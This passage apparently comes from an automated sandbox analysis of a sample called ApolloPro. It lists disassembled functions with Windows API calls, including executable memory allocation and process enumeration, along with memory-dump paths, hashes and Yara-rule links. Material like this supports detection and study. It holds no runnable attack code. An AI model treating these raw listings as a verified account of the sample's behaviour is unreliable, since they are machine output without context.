                                                                    • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0083826F
                                                                    • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0083827D
                                                                    • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00838284
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$DestroyWindow
                                                                    • String ID: msctls_updown32
                                                                    • API String ID: 4014797782-2298589950
                                                                    • Opcode ID: b71c2baf956123612d2c604e8eda0c84b79b461f874faae75b634d7bfb4995e6
                                                                    • Instruction ID: 76dac1d09a0d3d39532f41e37b62b3baa3b176b8b3b9f18f620f8ccda45b5a44
                                                                    • Opcode Fuzzy Hash: b71c2baf956123612d2c604e8eda0c84b79b461f874faae75b634d7bfb4995e6
                                                                    • Instruction Fuzzy Hash: 06217CB5604209AFDB10DF58CC85DA737EDFB9A394F080059FA05DB261CB70EC51CAA0
                                                                    Function 008372D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00837360
                                                                    • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00837370
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00837395
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$MoveWindow
                                                                    • String ID: Listbox
                                                                    • API String ID: 3315199576-2633736733
                                                                    • Opcode ID: efc62b83a164e005d4cb21e26752e7959d3018eb271a7769dfc3c049b2eaed75
                                                                    • Instruction ID: e6d4a22ff8d795e4a7dfc04dc9ff126a5aedea914e035e320ec8c23ca4d7b47a
                                                                    • Opcode Fuzzy Hash: efc62b83a164e005d4cb21e26752e7959d3018eb271a7769dfc3c049b2eaed75
                                                                    • Instruction Fuzzy Hash: 5721AF72604118BBDB218F54CC85EBB37AAFB89754F518124FA059B290D671EC519BE0
                                                                    Function 00837D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00837D97
                                                                    • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00837DAC
                                                                    • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00837DB9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: msctls_trackbar32
                                                                    • API String ID: 3850602802-1010561917
                                                                    • Opcode ID: 687a49222c13d5e8c6c05e056110620a59d9c33abc5c08b8a3a27f3e53e186fe
                                                                    • Instruction ID: 424d2ecb5f7758fb7695a3de95e61e64ba11b28f8285654ed5ed335068c543cf
                                                                    • Opcode Fuzzy Hash: 687a49222c13d5e8c6c05e056110620a59d9c33abc5c08b8a3a27f3e53e186fe
                                                                    • Instruction Fuzzy Hash: B211E3B2244209BADF249F64CC05FEB3BA9FFC9B54F124128FB45A6090D671D851DB60
                                                                    Function 0082C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,007F027A,?), ref: 0082C6E7
                                                                    • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0082C6F9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                    • API String ID: 2574300362-1816364905
                                                                    • Opcode ID: f951947a6b9baa27613e6e1c12dd1aed4bc340827e6d4f262d2b230ba81a33e7
                                                                    • Instruction ID: 1e5fb24cac158af4c6ba155df8e10b4df010e91d46323c6de4c4ddfeaf708817
                                                                    • Opcode Fuzzy Hash: f951947a6b9baa27613e6e1c12dd1aed4bc340827e6d4f262d2b230ba81a33e7
                                                                    • Instruction Fuzzy Hash: B8E0C2781103228FD7205B29EC48A6B7AD4FF14308B808429E995C2310D774C8C0CF10
                                                                    Function 007C4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,007C4B44,?,007C49D4,?,?,007C27AF,?,00000001), ref: 007C4B85
                                                                    • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 007C4B97
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                    • API String ID: 2574300362-3689287502
                                                                    • Opcode ID: cd84e90fd9d767d46707f6c90edfafdc0f4f03050429ae9c5a10f0b8749fe77d
                                                                    • Instruction ID: 8723fe3a671093dc4fc640ebbd6b9808a039448706a14b838ae404ecb24aa3ab
                                                                    • Opcode Fuzzy Hash: cd84e90fd9d767d46707f6c90edfafdc0f4f03050429ae9c5a10f0b8749fe77d
                                                                    • Instruction Fuzzy Hash: 89D017B55247128FD7219F71DC28B077AE4BF05355F11882ED596E2650EAB8E880CE50
                                                                    Function 007C4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,007C4AF7,?), ref: 007C4BB8
                                                                    • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 007C4BCA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                    • API String ID: 2574300362-1355242751
                                                                    • Opcode ID: f72390d1ea2a785dbeedacb03dc43edf14f95b420df0d408b4c5c5a15d03b6ac
                                                                    • Instruction ID: dd3c3f95bb56246e250b07402b91193084f64bae482d4e14554d6e326ac0f727
                                                                    • Opcode Fuzzy Hash: f72390d1ea2a785dbeedacb03dc43edf14f95b420df0d408b4c5c5a15d03b6ac
                                                                    • Instruction Fuzzy Hash: 8ED0C7B44203128FDB208F70DC08B077AE4BF01344B018C2ED492C2658EAB8C880CE00
                                                                    Function 00831447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(advapi32.dll,?,00831696), ref: 00831455
                                                                    • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00831467
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: RegDeleteKeyExW$advapi32.dll
                                                                    • API String ID: 2574300362-4033151799
                                                                    • Opcode ID: d4a28fe0a6a916f23ac7217b57a01db4877cbe89c56b7f0accfb8fd5ffe0f627
                                                                    • Instruction ID: c68c97f22aa828ee885bbb5ecca534acee0738460dd7a669a50e799cf41be207
                                                                    • Opcode Fuzzy Hash: d4a28fe0a6a916f23ac7217b57a01db4877cbe89c56b7f0accfb8fd5ffe0f627
                                                                    • Instruction Fuzzy Hash: F1D017745107128FDB20AF75C80861776E5FF47795F12C82A98F6D2660EB74D8C0CA54
                                                                    Function 007C55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,007C5E3D), ref: 007C55FE
                                                                    • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 007C5610
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: GetNativeSystemInfo$kernel32.dll
                                                                    • API String ID: 2574300362-192647395
                                                                    • Opcode ID: 21ec5d6c6d112ba09f2d47d4b65ffd6e4fa5f678eb2492598c0a1144ea8af2cc
                                                                    • Instruction ID: a3f7a96bee9d36c32283c30dc046c520043e0249f5db64ebc345b26037194775
                                                                    • Opcode Fuzzy Hash: 21ec5d6c6d112ba09f2d47d4b65ffd6e4fa5f678eb2492598c0a1144ea8af2cc
                                                                    • Instruction Fuzzy Hash: DED017B8920B128FE7209F71C808B177AE4BF05759B11882ED996E2291E678D8C0CE50
                                                                    Function 008297CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,00000001,008293DE,?,00840980), ref: 008297D8
                                                                    • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 008297EA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: GetModuleHandleExW$kernel32.dll
                                                                    • API String ID: 2574300362-199464113
                                                                    • Opcode ID: cf75dbeb123b5e6594920e0d60f9e44a1d95d90e03585ba2ea865baefd8bbd89
                                                                    • Instruction ID: 98c1266bfaba6a0faef4dc8e38efa164c1f143ca7ec0d5892b0bcdf649fd9e86
                                                                    • Opcode Fuzzy Hash: cf75dbeb123b5e6594920e0d60f9e44a1d95d90e03585ba2ea865baefd8bbd89
                                                                    • Instruction Fuzzy Hash: AED017B4520727CFD7209FB1E889607BAE4FF05395F11882AD5D6E2290EB78C8C0CE11
                                                                    Function 00807D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 9d7eebf711e5b524e73dda2b2d361d1441396edaad02b4d40c48b39f7d3705b2
                                                                    • Instruction ID: 94a15feca6b0c7867d43fc8a23e6060495a0299daffc442b10d60b90dac4c9d8
                                                                    • Opcode Fuzzy Hash: 9d7eebf711e5b524e73dda2b2d361d1441396edaad02b4d40c48b39f7d3705b2
                                                                    • Instruction Fuzzy Hash: 3AC15E75A0421AEFCB54CF98C884EAEB7B5FF48714B118598E845EB291DB31ED81CB90
                                                                    Function 0082E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0082E7A7
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0082E7EA
                                                                      • Part of subcall function 0082DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0082DEAE
                                                                    • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0082E9EA
                                                                    • _memmove.LIBCMT ref: 0082E9FD
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharLower$AllocVirtual_memmove
                                                                    • String ID:
                                                                    • API String ID: 3659485706-0
                                                                    • Opcode ID: a1555c2ead884353770e4063f100b33682f9e8af64004c2e899272334019b669
                                                                    • Instruction ID: 984de9bdf4386b22b0848ce660884ed55813668e19ba671b048bac4e98397229
                                                                    • Opcode Fuzzy Hash: a1555c2ead884353770e4063f100b33682f9e8af64004c2e899272334019b669
                                                                    • Instruction Fuzzy Hash: 8CC167716083118FC714DF28D480A6ABBE4FF89314F14896EF899DB352D731E986CB86
                                                                    Function 0082877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoInitialize.OLE32(00000000), ref: 008287AD
                                                                    • CoUninitialize.OLE32 ref: 008287B8
                                                                      • Part of subcall function 0083DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00828A0E,?,00000000), ref: 0083DF71
                                                                    • VariantInit.OLEAUT32(?), ref: 008287C3
                                                                    • VariantClear.OLEAUT32(?), ref: 00828A94
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                                    • String ID:
                                                                    • API String ID: 780911581-0
                                                                    • Opcode ID: e81cebfe33d57b965b0e446d90ec5543c2eee26d4fd1dd8996729b449b861256
                                                                    • Instruction ID: a75437e0fde226abef93a550523996e42abb1fd91a34accd467145e1cff876d7
                                                                    • Opcode Fuzzy Hash: e81cebfe33d57b965b0e446d90ec5543c2eee26d4fd1dd8996729b449b861256
                                                                    • Instruction Fuzzy Hash: 78A10475204621DFDB10EF14D485B6AB7E4FF88314F148859FA969B3A2CB34ED84CB92
                                                                    Function 0080814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00843C4C,?), ref: 00808308
                                                                    • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00843C4C,?), ref: 00808320
                                                                    • CLSIDFromProgID.OLE32(?,?,00000000,00840988,000000FF,?,00000000,00000800,00000000,?,00843C4C,?), ref: 00808345
                                                                    • _memcmp.LIBCMT ref: 00808366
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FromProg$FreeTask_memcmp
                                                                    • String ID:
                                                                    • API String ID: 314563124-0
                                                                    • Opcode ID: f96f434a1df82d88510c74c514dc735ffb68757226cab78b5c6c95659f8a47c2
                                                                    • Instruction ID: d3cf3773f916f53aba6fc691689df153e9fb971d7df8bbb47ca6b43ac52fe4d0
                                                                    • Opcode Fuzzy Hash: f96f434a1df82d88510c74c514dc735ffb68757226cab78b5c6c95659f8a47c2
                                                                    • Instruction Fuzzy Hash: 1A812875A00109EFCB04DF94C988EEEB7B9FF89315F204598E546EB250DB71AE46CB60
                                                                    Function 0080749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$AllocClearCopyInitString
                                                                    • String ID:
                                                                    • API String ID: 2808897238-0
                                                                    • Opcode ID: b89406b2ff8702f80926d991c033d9570f6e5580c5c216b47d5d1a06c9b79ef6
                                                                    • Instruction ID: 99d54700932396a7207f70832905e45b927ef8428e95c998d6aced5c8a0c2950
                                                                    • Opcode Fuzzy Hash: b89406b2ff8702f80926d991c033d9570f6e5580c5c216b47d5d1a06c9b79ef6
                                                                    • Instruction Fuzzy Hash: 5451C530A08B059ADBA09F799C95B7DB3E4FF55314B30981FE557C72E2EA35B8808B05
                                                                    Function 0082F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateToolhelp32Snapshot.KERNEL32 ref: 0082F526
                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0082F534
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • Process32NextW.KERNEL32(00000000,?), ref: 0082F5F4
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?), ref: 0082F603
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                                    • String ID:
                                                                    • API String ID: 2576544623-0
                                                                    • Opcode ID: d3eb4ab3c151fd48627a9d953384594a4b20efe0e27d2111d3573adfe8b27f29
                                                                    • Instruction ID: 682bc95459b03cd4cad14ccbf2b99f2285ae027220f10187aa9579726c0bac4c
                                                                    • Opcode Fuzzy Hash: d3eb4ab3c151fd48627a9d953384594a4b20efe0e27d2111d3573adfe8b27f29
                                                                    • Instruction Fuzzy Hash: DD5139715043119FD320EF24D845FABBBE8FF95710F40492DF595D62A2EB749904CB92
                                                                    Function 00839E19 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(?,?), ref: 00839E88
                                                                    • ScreenToClient.USER32(00000002,00000002), ref: 00839EBB
                                                                    • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00839F28
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ClientMoveRectScreen
                                                                    • String ID:
                                                                    • API String ID: 3880355969-0
                                                                    • Opcode ID: 59127406ee4e3695fad862174f72a077c41700bfff23b0386a642e3502264ce9
